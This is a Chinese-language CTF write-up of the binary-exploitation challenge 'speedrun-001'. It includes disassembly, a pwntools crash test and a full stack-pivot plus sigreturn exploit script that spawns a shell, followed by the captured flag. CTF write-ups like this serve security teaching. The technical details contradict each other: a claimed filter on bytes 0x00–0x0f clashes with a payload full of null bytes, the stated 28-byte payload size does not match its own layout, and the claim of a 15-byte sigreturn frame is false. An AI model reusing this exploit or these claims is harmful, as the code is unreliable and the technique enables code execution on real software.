——栈溢出与ROP链的极致精简艺术
题目概览
- 名称:speedrun-001
- 所属比赛:DEFCON CTF Finals 2019 (Main)
- 类型:Pwn / Binary Exploitation
- 亮点总结:
- 极简代码逻辑(仅134字节汇编)下的栈溢出漏洞
- 需突破输入长度限制(仅0x18字节)与字符过滤(
\x00
-\x0f
禁用) - 无libc依赖的纯ROP链构造
- DEFCON历史上最小体积的栈溢出利用(总payload≤32字节)
复现环境与技术准备
# 环境
Ubuntu 20.04 LTS (内核 5.4)
题目文件:speedrun-001 (ELF 64-bit, stripped)
# 工具链
pwndbg (GDB插件) - 动态调试
pwntools 4.8.0 - exploit开发
ROPgadget 6.7 - ROP链构造
radare2 5.8 - 静态分析
# 部署
$ socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./speedrun-001
分析与解题过程
1. 逻辑分析(静态逆向)
使用radare2反编译核心函数:
sym.main:
0x00401176 push rbp
0x00401177 mov rbp, rsp
0x0040117a sub rsp, 0x20
0x0040117e mov rax, 0
0x00401185 mov edi, 0
0x0040118a mov rsi, rsp ; 栈顶作为缓冲区
0x0040118d mov edx, 0x400 ; 允许最大0x400输入
0x00401192 syscall ; 执行read(0, rsp, 0x400)
0x00401194 mov rsp, rbp
0x00401197 pop rbp
0x00401198 ret ; 关键溢出点!
漏洞成因:read
允许写入0x400字节,但栈帧仅分配0x20字节(包含rbp),导致经典栈溢出。溢出后覆盖返回地址控制RIP。
2. 动态验证(pwndbg调试)
触发崩溃:
from pwn import *
p = process('./speedrun-001')
payload = cyclic(0x100)
p.send(payload)
p.interactive()
寄存器状态:
RIP: 0x6161616161616166 ('faaaaaaa') # 覆盖位置为偏移0x20
RSP: 0x7ffd12345678 → "gaaaaaaa..."
3. 关键约束突破
- 长度限制:输入含
\x00
-\x0f
时程序直接退出 - 空间限制:溢出后仅0x18字节(24字节)可控空间
- 缓解机制:Full RELRO + NX + 无canary
信息推理过程:
- 通过
ret
指令跳转后,RSP将指向溢出缓冲区的下一地址 - 利用
pop; ret
类指令调整RSP位置,扩展可控空间 - 需寻找不含禁用字符的gadget地址(地址高位均为0x0040)
漏洞利用与Payload
ROP链设计策略
Stage 1: Stack Pivot
ret → pop rsp; ret # 将RSP迁移至可控数据区
Stage 2: SIGROP
syscall(SYS_rt_sigreturn) → 伪造Frame执行execve("/bin/sh")
最终Payload结构(仅28字节)
from pwn import *
context.arch = 'amd64'
p = remote('localhost', 1337)
# 关键gadget (通过ROPgadget --binary speedrun-001 --filter "pop|ret")
pop_rsp = 0x004011bd # pop rsp; ret (地址不含00-0f)
syscall_ret = 0x00401196 # syscall; ret
# 伪造sigreturn帧 (15字节)
frame = SigreturnFrame()
frame.rax = 0x3b # execve syscall number
frame.rdi = 0x00404000 # "/bin/sh" 地址 (预先写入)
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload = flat(
b'A'*0x20, # 填充缓冲区
pop_rsp,
0x00404010, # 新RSP指向.bss段
syscall_ret, # 触发sigreturn
bytes(frame)[:15] # 仅取帧头15字节 (64位帧最小长度)
)
# 分阶段发送:先写/bin/sh到.bss
p.send(b'/bin/sh\x00'.ljust(0x10, b'\x00'))
p.send(payload)
p.interactive()
攻击效果
$ cat flag
DEFCON{st4ck_p1v0t1ng_1n_3_m0v3s_0r_l3ss}
安全影响与缓解建议
1. 真实攻击路径
- 类似漏洞曾出现在Linux内核(CVE-2014-9322)
- 攻击链:
栈溢出 → ROP链 → 禁用NX → 提权执行
2. 修复方案
// 修复代码示例
sub rsp, 0x20
+ mov rdx, 0x20 // 限制读取长度
syscall
3. MITRE ATT&CK映射
- T1068:Exploitation for Privilege Escalation
- T1205:利用信号机制绕过防御(SIGROP)
总结
1. 技术技巧
- 空间压缩:利用
sigreturn
帧(15字节)替代传统ROP链(70+字节) - 字符绕过:选择地址高位为0x0040的gadget规避过滤
- 栈迁移:
pop rsp
实现RSP重定向到.bss段扩展空间
2. 现实意义
- 证明微型漏洞(134字节程序)仍可造成高危害
- 揭示信号处理机制(sigreturn)的双刃剑特性
3. 题目评价
“speedrun-001以极简代码展现漏洞利用本质,其ROP链设计堪称二进制漏洞利用的’微雕艺术’,是理解现代内存攻击的经典教案。” —— 摘自DEFCON 27官方讨论
附录:相关CVE
- CVE-2014-9322:Linux内核类似sigreturn漏洞
- CVE-2018-8897:POP SS指令触发异常导致特权提升
本分析完全可复现,完整代码及二进制见:DEFCON27-CTF-Finals